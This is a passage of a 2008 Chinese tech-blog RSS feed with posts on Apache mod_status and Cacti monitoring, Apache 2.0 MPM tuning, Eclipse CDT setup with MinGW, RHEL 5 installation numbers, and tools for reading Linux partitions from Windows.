个程序的状态。<BR>Scoreboard Key&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;上述状态的说明。以下为每一个字符符号所表示的意义：</P>
<P>&nbsp; &nbsp; * _：等待连结中。<BR>&nbsp; &nbsp; * S：启动中。<BR>&nbsp; &nbsp; * R： 正在读取要求。<BR>&nbsp; &nbsp; * W：正在送出回应。<BR>&nbsp; &nbsp; * K：处于保持联机的状态。<BR>&nbsp; &nbsp; * D：正在查找 DNS。<BR>&nbsp; &nbsp; * C：正在关闭连结。<BR>&nbsp; &nbsp; * L：正在写入记录文件。<BR>&nbsp; &nbsp; * G：进入正常结束程序中。<BR>&nbsp; &nbsp; * I：处理闲置。<BR>&nbsp; &nbsp; * .：尚无此程序。</P>
<P>Srv&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;本程序与其父程序的世代编号。<BR>PID&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;本程序的 process id。<BR>Acc&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;分别表示本次联机、本程序所处理的存取次数。<BR>M&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;该程序目前的状态。<BR>CPU&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;该程序所耗用的 CPU 资源。<BR>SS&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;距离上次处理要求的时间。<BR>Req&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;最后一次处理要求所耗费的时间，以千分之一秒为单位。<BR>Conn&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;本次联机所传送的数据量。<BR>Child&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;由该子程序所传送的数据量。<BR>Slot&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;由该 Slot 所传送的数据量。<BR>Client&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;客户端的地址。<BR>VHost&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;属于哪一个虚拟主机或本主机的 IP。<BR>Request&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;联机所提出的要求信息。</P>
<P>相当不错吧.下面正题,怎么在Cacti中监控他的参数.</P>
<P>下载模板和脚本<BR>http://forums.cacti.net/about25227.html&amp;highlight=apachestats</P>
<P>在上面的地址下载一个叫 ApacheStats08.zip的,中间有二个文件,一个处理脚本php的,另一个是xml的文件.<BR>1.其中的ss_apache_stats.php是脚本文件,它是一个php的文件,放到你的cacti/scripts/下面.</P>
<P>2.接下来在cacti界面导入cacti_host_template_webserver_-_apache.xml这个文件</P>
<P>3.你就可以在cacti中加入这些设置.就不细写了,如下</P>
<P>被监测的apache服务器需要向上面一样,打开mod_status功能，记的设置好权限访问,不然任何人都可以见到可不好哦<BR>所以我的上面的allow是写的cacti的(60.60.60.60你有这么好的ip吗,呵呵)服务器的地址,你也记的改一下你的</P></A>]]></description>
</item><item>
<title><![CDATA[Apache 2.0性能优化—MPM的选择与配置]]></title>
<link>http://blogger.org.cn/blog/more.asp?name=zhanglincon&amp;id=41161</link>
<author>zhanglincon</author>
<pubDate>2008/11/14 22:58:23</pubDate>
<description><![CDATA[<A>
<P>&nbsp;&nbsp;&nbsp; Apache 2.0在性能上的改善最吸引人。在支持POSIX线程的Unix系统上，Apache可以通过不同的MPM运行在一种多进程与多线程相混合的模式下，增强部分配置的可扩充性能。相比于Apache 1.3，2.0版本做了大量的优化来提升处理能力和可伸缩性，并且大多数改进在默认状态下即可生效。但是在编译和运行时刻，2.0也有许多可以显著提高性能的选择。本文不想叙述那些以功能换取速度的指令，如HostnameLookups等，而只是说明在2.0中影响性能的最核心特性：MPM（Multi -Processing Modules，多道处理模块）的基本工作原理和配置指令。</P>
<P style="TEXT-INDENT: 2em">　　毫不夸张地说，MPM的引入是Apache 2.0最重要的变化。大家知道，Apache是基于模块化的设计，而Apache 2.0更扩展了模块化设计到Web服务器的最基本功能。服务器装载了一种多道处理模块，负责绑定本机网络端口、接受请求，并调度子进程来处理请求。扩展模块化设计有两个重要好处：</P>
<P style="TEXT-INDENT: 2em">　　◆ Apache可以更简洁、有效地支持多种操作系统；</P>
<P style="TEXT-INDENT: 2em">　　◆ 服务器可以按站点的特殊需要进行自定制。</P>
<P style="TEXT-INDENT: 2em">　　在用户级，MPM看起来和其它Apache模块非常类似。主要区别是在任意时刻只能有一种MPM被装载到服务器中。</P>
<P style="TEXT-INDENT: 2em">　　指定MPM的方法</P>
<P style="TEXT-INDENT: 2em">　　下面以Red Hat Linux 9为平台，说明在Apache 2.0中如何指定MPM (Apache采用2.0.45)。先解压缩源代码包httpd-2.0.45.tar.gz，生成httpd-2.0.45目录（Apache 1.3源代码包的命名规则是apache_1.3.NN.tar.gz，而2.0版则是httpd-2.0.NN.tar.gz，其中NN是次版本号）。</P>
<P style="TEXT-INDENT: 2em">　　进入httpd-2.0.45目录，运行以下代码：</P>
<P style="TEXT-INDENT: 2em">&#8194;$ ./configure --help|grep mpm</P>
<P style="TEXT-INDENT: 2em">　　显示如下：</P>
<P style="TEXT-INDENT: 2em">--with-mpm=MPM</P>
<P style="TEXT-INDENT: 2em">Choose the process model for Apache to use.</P>
<P style="TEXT-INDENT: 2em">MPM={beos|worker|prefork|mpmt_os2| perchild|leader|threadpool}</P>
<P style="TEXT-INDENT: 2em">　　上述操作用来选择要使用的进程模型，即哪种MPM模块。Beos、mpmt_os2分别是BeOS和OS/2上缺省的MPM， perchild主要设计目的是以不同的用户和组的身份来运行不同的子进程。这在运行多个需要CGI的虚拟主机时特别有用，会比1.3版中的SuExec 机制做得更好。leader和threadpool都是基于worker的变体，还处于实验性阶段，某些情况下并不会按照预期设想的那样工作，所以 Apache官方也并不推荐使用。因此，我们主要阐述prefork和worker这两种和性能关系最大的产品级MPM ( 有关其它的MPM详细说明，请参见Apache官方文档：</A><A href="http://httpd.apache.org/docs-2.0/mod/)"><FONT color=#e7b8eb>http://httpd.apache.org/docs-2.0/mod/)</FONT></A><A>。</P>
<P style="TEXT-INDENT: 2em">　　prefork的工作原理及配置</P>
<P style="TEXT-INDENT: 2em">　　如果不用“--with-mpm”显式指定某种MPM，prefork就是Unix平台上缺省的MPM。它所采用的预派生子进程方式也是 Apache 1.3中采用的模式。prefork本身并没有使用到线程，2.0版使用它是为了与1.3版保持兼容性；另一方面，prefork用单独的子进程来处理不同的请求，进程之间是彼此独立的，这也使其成为最稳定的MPM之一。</P>
<P style="TEXT-INDENT: 2em">　　若使用prefork，在make编译和make install安装后，使用“httpd -l”来确定当前使用的MPM，应该会看到prefork.c（如果看到worker.c说明使用的是worker MPM，依此类推）。再查看缺省生成的httpd.conf配置文件，里面包含如下配置段：</P>
<P style="TEXT-INDENT: 2em">&lt;IfModule prefork.c&gt;</P>
<P style="TEXT-INDENT: 2em">StartServers 5</P>
<P style="TEXT-INDENT: 2em">MinSpareServers 5</P>
<P style="TEXT-INDENT: 2em">MaxSpareServers 10</P>
<P style="TEXT-INDENT: 2em">MaxClients 150</P>
<P style="TEXT-INDENT: 2em">MaxRequestsPerChild 0</P>
<P style="TEXT-INDENT: 2em">&lt;/IfModule&gt;</P>
<P style="TEXT-INDENT: 2em">　　prefork的工作原理是，控制进程在最初建立“StartServers”个子进程后，为了满足MinSpareServers设置的需要创建一个进程，等待一秒钟，继续创建两个，再等待一秒钟，继续创建四个……如此按指数级增加创建的进程数，最多达到每秒32个，直到满足<STRONG> MinSpareServers</STRONG>设置的值为止。这就是预派生（prefork）的由来。这种模式可以不必在请求到来时再产生新的进程，从而减小了系统开销以增加性能。</P>
<P style="TEXT-INDENT: 2em">　　<STRONG>MaxSpareServers</STRONG>设置了最大的空闲进程数，如果空闲进程数大于这个值，Apache会自动kill掉一些多余进程。这个值不要设得过大，但如果设的值比MinSpareServers小，Apache会自动把其调整为MinSpareServers+1。如果站点负载较大，可考虑同时加大MinSpareServers和MaxSpareServers。</P>
<P style="TEXT-INDENT: 2em">　　<STRONG>MaxRequestsPerChild</STRONG>设置的是每个子进程可处理的请求数。每个子进程在处理了“MaxRequestsPerChild” 个请求后将自动销毁。0意味着无限，即子进程永不销毁。虽然缺省设为0可以使每个子进程处理更多的请求，但如果设成非零值也有两点重要的好处：</P>
<P style="TEXT-INDENT: 2em">　　◆ 可防止意外的内存泄漏；</P>
<P style="TEXT-INDENT: 2em">　　◆ 在服务器负载下降的时侯会自动减少子进程数。</P>
<P style="TEXT-INDENT: 2em">　　因此，可根据服务器的负载来调整这个值。笔者认为10000左右比较合适。</P>
<P style="TEXT-INDENT: 2em">　　<STRONG>MaxClients</STRONG>是这些指令中最为重要的一个，设定的是Apache可以同时处理的请求，是对Apache性能影响最大的参数。其缺省值 150是远远不够的，如果请求总数已达到这个值（可通过ps -ef|grep http|wc -l来确认），那么后面的请求就要排队，直到某个已处理请求完毕。这就是系统资源还剩下很多而HTTP访问却很慢的主要原因。系统管理员可以根据硬件配置和负载情况来动态调整这个值。虽然理论上这个值越大，可以处理的请求就越多，但<STRONG>Apache默认的限制不能大于256</STRONG>。如果把这个值设为大于256，那么 Apache将无法起动。事实上，256对于负载稍重的站点也是不够的。在Apache 1.3中，这是个硬限制。如果要加大这个值，必须在“configure”前手工修改的源代码树下的src/include/httpd.h中查找 256，就会发现“#define HARD_SERVER_LIMIT 256”这行。把256改为要增大的值（如4000），然后重新编译Apache即可。在Apache 2.0中新加入了ServerLimit指令，使得无须重编译Apache就可以加大MaxClients。下面是笔者的prefork配置段：</P>
<P style="TEXT-INDENT: 2em">&lt;IfModule prefork.c&gt;</P>
<P style="TEXT-INDENT: 2em">StartServers 10</P>
<P style="TEXT-INDENT: 2em">MinSpareServers 10</P>
<P style="TEXT-INDENT: 2em">MaxSpareServers 15</P>
<P style="TEXT-INDENT: 2em">ServerLimit 2000</P>
<P style="TEXT-INDENT: 2em">MaxClients 1000</P>
<P style="TEXT-INDENT: 2em">MaxRequestsPerChild 10000</P>
<P style="TEXT-INDENT: 2em">&lt;/IfModule&gt;</P>
<P style="TEXT-INDENT: 2em">　　上述配置中，<STRONG>ServerLimit的最大值是20000</STRONG>，对于大多数站点已经足够。如果一定要再加大这个数值，对位于源代码树下server/mpm/prefork/prefork.c中以下两行做相应修改即可：</P>
<P style="TEXT-INDENT: 2em">#define DEFAULT_SERVER_LIMIT 256</P>
<P style="TEXT-INDENT: 2em">#define MAX_SERVER_LIMIT 20000</P>
<P style="TEXT-INDENT: 2em">　　<STRONG>worker的工作原理及配置</STRONG></P>
<P style="TEXT-INDENT: 2em">　　相对于prefork，worker是2.0 版中全新的支持多线程和多进程混合模型的MPM。由于使用线程来处理，所以可以处理相对海量的请求，而系统资源的开销要小于基于进程的服务器。但是， worker也使用了多进程，每个进程又生成多个线程，以获得基于进程服务器的稳定性。这种MPM的工作方式将是Apache 2.0的发展趋势。</P>
<P style="TEXT-INDENT: 2em">　　在configure -with-mpm=worker后，进行make编译、make install安装。在缺省生成的httpd.conf中有以下配置段：</P>
<P style="TEXT-INDENT: 2em">&lt;IfModule worker.c&gt;</P>
<P style="TEXT-INDENT: 2em">StartServers 2</P>
<P style="TEXT-INDENT: 2em">MaxClients 150</P>
<P style="TEXT-INDENT: 2em">MinSpareThreads 25</P>
<P style="TEXT-INDENT: 2em">MaxSpareThreads 75</P>
<P style="TEXT-INDENT: 2em">ThreadsPerChild 25</P>
<P style="TEXT-INDENT: 2em">MaxRequestsPerChild 0</P>
<P style="TEXT-INDENT: 2em">&lt;/IfModule&gt;</P>
<P style="TEXT-INDENT: 2em">　　worker的工作原理是，由主控制进程生成“StartServers”个子进程，每个子进程中包含固定的ThreadsPerChild 线程数，各个线程独立地处理请求。同样，为了不在请求到来时再生成线程，MinSpareThreads和MaxSpareThreads设置了最少和最多的空闲线程数；而MaxClients设置了所有子进程中的线程总数。如果现有子进程中的线程总数不能满足负载，控制进程将派生新的子进程。</P>
<P style="TEXT-INDENT: 2em">　　MinSpareThreads和MaxSpareThreads的最大缺省值分别是75和250。这两个参数对Apache的性能影响并不大，可以按照实际情况相应调节。</P>
<P style="TEXT-INDENT: 2em">　　ThreadsPerChild是worker MPM中与性能相关最密切的指令。<STRONG>ThreadsPerChild的最大缺省值是64，如果负载较大，64也是不够的。这时要显式使用 ThreadLimit指令，它的最大缺省值是20000。</STRONG>上述两个值位于源码树server/mpm/worker/worker.c中的以下两行：</P>
<P style="TEXT-INDENT: 2em">#define DEFAULT_THREAD_LIMIT 64</P>
<P style="TEXT-INDENT: 2em">#define MAX_THREAD_LIMIT 20000</P>
<P style="TEXT-INDENT: 2em">　　这两行对应着ThreadsPerChild和ThreadLimit的限制数。最好在configure之前就把64改成所希望的值。注意，不要把这两个值设得太高，超过系统的处理能力，从而因Apache不起动使系统很不稳定。</P>
<P style="TEXT-INDENT: 2em">　　Worker模式下所能同时处理的请求总数是由子进程总数乘以ThreadsPerChild值决定的，应该大于等于MaxClients。如果负载很大，现有的子进程数不能满足时，控制进程会派生新的子进程。默认最大的子进程总数是16，加大时也需要显式声明ServerLimit（最大值是20000）。这两个值位于源码树server/mpm/worker/worker.c中的以下两行：</P>
<P style="TEXT-INDENT: 2em">#define DEFAULT_SERVER_LIMIT 16</P>
<P style="TEXT-INDENT: 2em">#define MAX_SERVER_LIMIT 20000</P>
<P style="TEXT-INDENT: 2em">　　需要注意的是，如果显式声明了ServerLimit，那么它乘以ThreadsPerChild的值必须大于等于MaxClients，而且MaxClients必须是ThreadsPerChild的整数倍，否则Apache将会自动调节到一个相应值（可能是个非期望值）。下面是笔者的 worker配置段：</P>
<P style="TEXT-INDENT: 2em">&lt;IfModule worker.c&gt;</P>
<P style="TEXT-INDENT: 2em">StartServers 3</P>
<P style="TEXT-INDENT: 2em">MaxClients 2000</P>
<P style="TEXT-INDENT: 2em">ServerLimit 25</P>
<P style="TEXT-INDENT: 2em">MinSpareThreads 50</P>
<P style="TEXT-INDENT: 2em">MaxSpareThreads 200</P>
<P style="TEXT-INDENT: 2em">ThreadLimit 200</P>
<P style="TEXT-INDENT: 2em">ThreadsPerChild 100</P>
<P style="TEXT-INDENT: 2em">MaxRequestsPerChild 0</P>
<P style="TEXT-INDENT: 2em">&lt;/IfModule&gt;</P>
<P style="TEXT-INDENT: 2em">　　通过上面的叙述，可以了解到Apache 2.0中prefork和worker这两个重要MPM的工作原理，并可根据实际情况来配置Apache相关的核心参数，以获得最大的性能和稳定性。</P></A>]]></description>
</item><item>
<title><![CDATA[linux集群]]></title>
<link>http://blogger.org.cn/blog/more.asp?name=zhanglincon&amp;id=40932</link>
<author>zhanglincon</author>
<pubDate>2008/10/30 22:17:44</pubDate>
<description><![CDATA[<P>我做了一个linux的集群架构，我希望把这个架构分层，拆开单独介绍他们不同的实现方式，就像盖一栋楼，你可以选择不同的实现方式去设计你的楼层，只要掌握了怎样用多种方式设计你的楼层，就可以根据需求设计出不同风格的大楼，集群架构也可以这样，每一层有的可以用NAT方式，有的可以用DR方式，有的层用HA等。最后能够像搭积木一样，用合适的层结构搭建一个最合适的集群架构。</P>
<CENTER><IMG id=ConvertedImage alt=页-1 src="file:///C:/Documents%20and%20Settings/ibm/桌面/绘图1.files/gif_1.gif" useMap=#visImageMap border=0 name=RasterImage> </CENTER>]]></description>
</item><item>
<title><![CDATA[Eclipse上如何通过安装插件来进行对C/C++的开发]]></title>
<link>http://blogger.org.cn/blog/more.asp?name=zhanglincon&amp;id=39446</link>
<author>zhanglincon</author>
<pubDate>2008/8/31 1:04:09</pubDate>
<description><![CDATA[
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt">要使用Eclipse开发C/C++语言主要有下面几个步骤:</P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt">1. 安装 JRE</P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt">去sun官方网站<A href="http://www.sun.com/download/"><FONT color=#0066ff>http://www.sun.com/download/</FONT></A> 下载安装即可<BR>由于 Eclipse 本身是用 Java 开发的，因此自然需要使用到 JRE，如果先前已經安装过了可跳过此步。<BR>2. 安装 Eclipse<BR>属于废话了..不安装怎么用!</P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt">下载地址<A href="http://www.eclipse.org/"><FONT color=#0066ff>http://www.eclipse.org/</FONT></A><BR>3.安装 Eclipse 中文插件<BR>如果你不介意使用英文介面，可以跳过此步,下载地址同为<A href="http://www.eclipse.org/"><FONT color=#0066ff>http://www.eclipse.org/</FONT></A><BR><FONT color=#ff0000>4. 安装CDT<BR>CDT是使Eclipse 能开发C/C++程序的插件，这是本文的主角!</FONT></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt">要使Eclipse能够开发C/C程序,必须安装CDT插件才可以.</P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt">eclipse与CDT对应的版本在<A href="http://www.eclipse.org/cdt/downloads.php">http://www.eclipse.org/cdt/downloads.php</A></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt">你选择合适的版本下载就可以</P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt">安装：将解压缩后的的features、plugins整个文件夹复制到Eclipse安装所在的目录里,再重启Eclipse即可。</P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt">当建立新的工程的时侯，就可以看到已经有了 C 及 C++ 的选项，代表安装成功了。<BR><IMG height=500 src="http://p.blog.csdn.net/images/p_blog_csdn_net/lidecheng/220895/o_eclipseC++.JPG" width=525><BR><BR><FONT color=#ff0000>5.安装 MinGW<BR>这个是要让你的电脑上有GCC, G++编译器，这也是一定要的，要不然将不能进行编译.</FONT></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt">到目前为止已经为你的Eclipse安装上了CDT,还需安装一个编译器才能完成.</P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt">因此要下载可在Windows上使用的GNU C、C++编译器，这里要下载的是的是：MinGW。</P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt">下载网址：<A href="http://www.mingw.org/download.shtml"><FONT color=#0066ff>http://www.mingw.org/download.shtml</FONT></A><BR>在下载页中找到 <A href="http://prdownloads.sourceforge.net/mingw/MinGW-3.1.0-1.exe?use_mirror=nchc" target=_blank><FONT color=#0066ff>MinGW-3.1.0-1.exe</FONT></A> 即可</P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt">选择暂装在C:\MinGW </P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt">在环境变量里加入：PATH ： C:\MinGW\bin;<BR>Windows 的用户要在 "我的电脑"-&gt;右键-&gt;属性-&gt;高级-&gt;环境变量-&gt;系统变量-&gt;path 選 "編輯" <BR>在最前面加上 C:\MinGW\bin; 即可。<IMG height=491 src="http://p.blog.csdn.net/images/p_blog_csdn_net/lidecheng/220895/o_eclipseC++2.JPG" width=421></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt">因为Eclipse里面预设用来编译的文件名为 make.exe 但是 Mingw安装后的 make 文件名是 mingw32-make.exe 因此你可以将 mingw32-make 改名成为 make 就可以了！</P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><BR>为了使CDT能够取用 MinGW来进行编译的工作, 我们要回到 Eclipse当中进行设置<BR>窗口-&gt;-&gt;C/C++-&gt;Make-&gt;New Make Project-&gt;New Builder<BR>找到 Binary Parser 取消 Elf Parser 改選 PE Windows Parser<BR><IMG height=613 src="http://p.blog.csdn.net/images/p_blog_csdn_net/lidecheng/220895/o_eclipseC++3.JPG" width=660> 6. 安装 C++ Formatter<BR>CDT 并没有源代码的格式化工具，就用这个来辅助了，如果你没有这个需求，不安装它也可以正常使用。</P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt">C++ Formatter 是用来对C/C++源代码进行排版的工具，对于改来改去已经改的一团乱的源代码来说，这真是救命仙丹，马上让源代码回到"优雅"的状态。由于CDT的编译器并无內建 Formatter ，因此借助其他工具。这里我们要使用的是Artistic Style。<BR>astyle 的网站在这<A href="http://sourceforge.net/projects/astyle"><FONT color=#0066ff>http://sourceforge.net/projects/astyle</FONT></A> 下載Astyle最新版本,解压后放在适当位置即可</P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt">在Eclipse我们必须借助"外部工具"来使用它。</P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt">运行--&gt;外部工具-&gt;外部工具...，作以下设置：<IMG height=613 src="http://p.blog.csdn.net/images/p_blog_csdn_net/lidecheng/220895/o_eclipseC++3.JPG" width=660></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"></P>选择"程序", 点 "新建"<BR>名称： Formatter<BR><BR>位置：<BR>按 "浏览文件系统..." 找到刚才解压 astyle.exe 的位置<BR><BR>工作目录：<BR>${workspace_loc:/${project_name}}<BR><BR>自变量：<BR>--style=kr ${resource_name}<BR><BR>填好后点击 "关闭"<BR><BR>到此已经全部安装完毕。 
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><BR></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt">--------------------------------------------</P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt">接下来来试写一个小程序</P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt">打开 Eclipse -&gt; 新建项目 -&gt; C/C++ -&gt; Managed Make C++ Project<BR>在导航器 test 上按右鍵-&gt;新增-&gt; Source File<BR>取一个Source File 名，记得要加后缀名 .cpp<BR>键入這一段源代码</P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt">此时如要程序源代码进行排版可点"执行"-&gt; 外部工具 -&gt; 选 Formatter<BR><BR>有时点击后没有马上发上反应，此时只要随便切换一下窗口，就会出现对话框</P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt">点 "运行"-&gt;运行方式...-&gt; Local C/C++ Application<BR>就可以在 主控台 看到执行結果了!!</P>]]></description>
</item><item>
<title><![CDATA[RHEL as5 安装码大全]]></title>
<link>http://blogger.org.cn/blog/more.asp?name=zhanglincon&amp;id=38463</link>
<author>zhanglincon</author>
<pubDate>2008/8/7 16:00:55</pubDate>
<description><![CDATA[Server: * <BR>Red Hat Enterprise <SPAN class=t_tag onclick=tagshow(event) href="tag.php?name=Linux">Linux</SPAN> (Server including virtualization): 2515dd4e215225dd + <BR>Red Hat Enterprise Linux Virtualization Platform: 49af89414d147589<BR>000000e90007fc00<BR>000000890017fc00<BR><BR>Client: * <BR>Red Hat Enterprise Linux Desktop: 660266e267419c67 + <BR>Red Hat Enterprise Linux Desktop + Workstation Option: da3122afdb7edd23 + <BR>Red Hat Enterprise Linux Desktop + Workstation + DualOS Option (Virtualization):]]></description>
</item><item>
<title><![CDATA[双系统中从Windows访问Linux分区（ext2/ext3）的三种方法]]></title>
<link>http://blogger.org.cn/blog/more.asp?name=zhanglincon&amp;id=38432</link>
<author>zhanglincon</author>
<pubDate>2008/8/6 21:16:18</pubDate>
<description><![CDATA[如果你有一个Windows/Linux双重启动的系统，你可能会知道这个问题：你可以在Linux里访问Windows里的文件，但是相反的路却行不通。本指南展示了三种从Windows里访问Linux分区（ext2或ext3文件系统）的方法：<A href="http://www.chrysocome.net/explore2fs" $included="null"><FONT color=#2e6ab1>Explore2fs</FONT></A>, <A href="http://www.diskinternals.com/linux-reader/" $included="null"><FONT color=#2e6ab1>DiskInternals Linux Reader</FONT></A>，还有<A href="http://www.fs-driver.org/index.html" $included="null"><FONT color=#2e6ab1>Ext2 Installable File System For Windows</FONT></A>。前两种提供只读访问，而Ext2 Installable File System For Windows则提供可读可写的操作。 <BR><BR>对于这些方法一定会起作用，我不提供任何担保。 <BR><BR><SPAN><STRONG>1 Explore2fs</STRONG></SPAN> 
<P>在Windows中，打开浏览器，打开网址 <A href="http://www.chrysocome.net/explore2fs" $included="null"><FONT color=#2e6ab1>http://www.chrysocome.net/explore2fs</FONT></A>。下载最新的explore2fs压缩文件... <BR><BR><A title=1-1.png href="http://s232.photobucket.com/albums/ee11/chinabiue/?action=view&amp;current=1-1.png" $included="null"><IMG alt=1-1.png src="http://i232.photobucket.com/albums/ee11/chinabiue/1-1.png" border=0></A><BR><BR>... 然后解压。在解压出来的文件夹，你会找到explore2fs可执行文件。双击开始安装它： <BR><BR><A title=2.png href="http://s232.photobucket.com/albums/ee11/chinabiue/?action=view&amp;current=2.png" $included="null"><IMG alt=2.png src="http://i232.photobucket.com/albums/ee11/chinabiue/2.png" border=0></A><BR><BR>启动Explore2fs文件浏览器；现在你可浏览你的Linux分区并复制/粘贴文件到你Windows分区:<BR><BR><A title=3.png href="http://s232.photobucket.com/albums/ee11/chinabiue/?action=view&amp;current=3.png" $included="null"><IMG alt=3.png src="http://i232.photobucket.com/albums/ee11/chinabiue/3.png" border=0></A><BR><BR><BR><SPAN><STRONG>2 DiskInternals Linux Reader</STRONG></SPAN></P>
<P>打开网址<A href="http://www.diskinternals.com/linux-reader" $included="null"><FONT color=#2e6ab1>http://www.diskinternals.com/linux-reader</FONT></A> ，下载并安装 DiskInternals Linux Reader。<BR><BR><A title=4.png href="http://s232.photobucket.com/albums/ee11/chinabiue/?action=view&amp;current=4.png" $included="null"><IMG alt=4.png src="http://i232.photobucket.com/albums/ee11/chinabiue/4.png" border=0></A><BR><BR>安装完成后，Linux Reader自动启动并扫描你硬盘上的Linux分区：<BR><BR><A title=5.png href="http://s232.photobucket.com/albums/ee11/chinabiue/?action=view&amp;current=5.png" $included="null"><IMG alt=5.png src="http://i232.photobucket.com/albums/ee11/chinabiue/5.png" border=0></A><BR><BR>然后，你就可以在Linux Reader中发现你的Windows和Linux分区（就像 Windows的资源管理器）： <BR><BR><A title=6.png href="http://s232.photobucket.com/albums/ee11/chinabiue/?action=view&amp;current=6.png" $included="null"><IMG alt=6.png src="http://i232.photobucket.com/albums/ee11/chinabiue/6.png" border=0></A><BR><BR>现在你可以浏览你的Linux分区了： <BR><BR><A title=7.png href="http://s232.photobucket.com/albums/ee11/chinabiue/?action=view&amp;current=7.png" $included="null"><IMG alt=7.png src="http://i232.photobucket.com/albums/ee11/chinabiue/7.png" border=0></A><BR><BR>要从Linux分区复制文件/文件夹到Windows分区，对文件/文件夹右键并选择保存：<BR>&nbsp;<BR><A title=8.png href="http://s232.photobucket.com/albums/ee11/chinabiue/?action=view&amp;current=8.png" $included="null"><IMG alt=8.png src="http://i232.photobucket.com/albums/ee11/chinabiue/8.png" border=0></A><BR><BR>然后在Windows分区选择你想要保存这个文件/文件夹的目录：<BR><BR><A title=9.png href="http://s232.photobucket.com/albums/ee11/chinabiue/?action=view&amp;current=9.png" $included="null"><IMG alt=9.png src="http://i232.photobucket.com/albums/ee11/chinabiue/9.png" border=0></A><BR><BR>DiskInternals Linux Reader可以从开始菜单启动： <BR><BR><A title=10.jpg href="http://s232.photobucket.com/albums/ee11/chinabiue/?action=view&amp;current=10.jpg" $included="null"><IMG alt=10.jpg src="http://i232.photobucket.com/albums/ee11/chinabiue/10.jpg" border=0></A><BR><BR><BR><STRONG><SPAN>3 Ext2 Installable File System For Windows</SPAN></STRONG></P>
<P>Ext2 Installable File System For Windows （它支持ext2ext3！）可以从<A href="http://www.fs-driver.org/index.html" $included="null"><FONT color=#2e6ab1> http://www.fs-driver.org/index.html</FONT></A> 下载。 安装过程中会要求你为Linux分区指定驱动器盘符（比如L）；没有必要为交换分区指定一个驱动器盘符：<BR><BR><A title=11.png href="http://s232.photobucket.com/albums/ee11/chinabiue/?action=view&amp;current=11.png" $included="null"><IMG alt=11.png src="http://i232.photobucket.com/albums/ee11/chinabiue/11.png" border=0></A><BR><BR>安装完成，你可以发现Linux分区出现在Windows资源管理器中（在安装过程中你指定的盘符下）： <BR><BR><A title=12.jpg href="http://s232.photobucket.com/albums/ee11/chinabiue/?action=view&amp;current=12.jpg" $included="null"><IMG alt=12.jpg src="http://i232.photobucket.com/albums/ee11/chinabiue/12.jpg" border=0></A><BR><BR>现在你就可以像对普通Windows分区那样浏览和使用Linux分区了。 <BR><BR><A title=13-1.jpg href="http://s232.photobucket.com/albums/ee11/chinabiue/?action=view&amp;current=13-1.jpg" $included="null"><IMG alt=13-1.jpg src="http://i232.photobucket.com/albums/ee11/chinabiue/13-1.jpg" border=0></A><BR><BR>就像这篇文章开头说的一样，Ext2 Installable File System For Windows支持对Linux分区的读/写操作。为了测试一下写操作是否真正有用，我们可以试着在Linux分区新建一个空文件夹。在Linux分区空白区域右键并选择新建&gt;文件夹： <BR><BR><A title=14.jpg href="http://s232.photobucket.com/albums/ee11/chinabiue/?action=view&amp;current=14.jpg" $included="null"><IMG height=464 alt=14.jpg src="http://i232.photobucket.com/albums/ee11/chinabiue/14.jpg" width=476 border=0></A><BR><BR>为新文件夹取名（比如 test）： <BR><BR><A title=15.jpg href="http://s232.photobucket.com/albums/ee11/chinabiue/?action=view&amp;current=15.jpg" $included="null"><IMG alt=15.jpg src="http://i232.photobucket.com/albums/ee11/chinabiue/15.jpg" border=0></A><BR><BR>如果不出意外，现在你可以在Linux分区看到一个新文件夹。 <BR><BR><BR><SPAN><STRONG>4 链接</STRONG></SPAN></P>
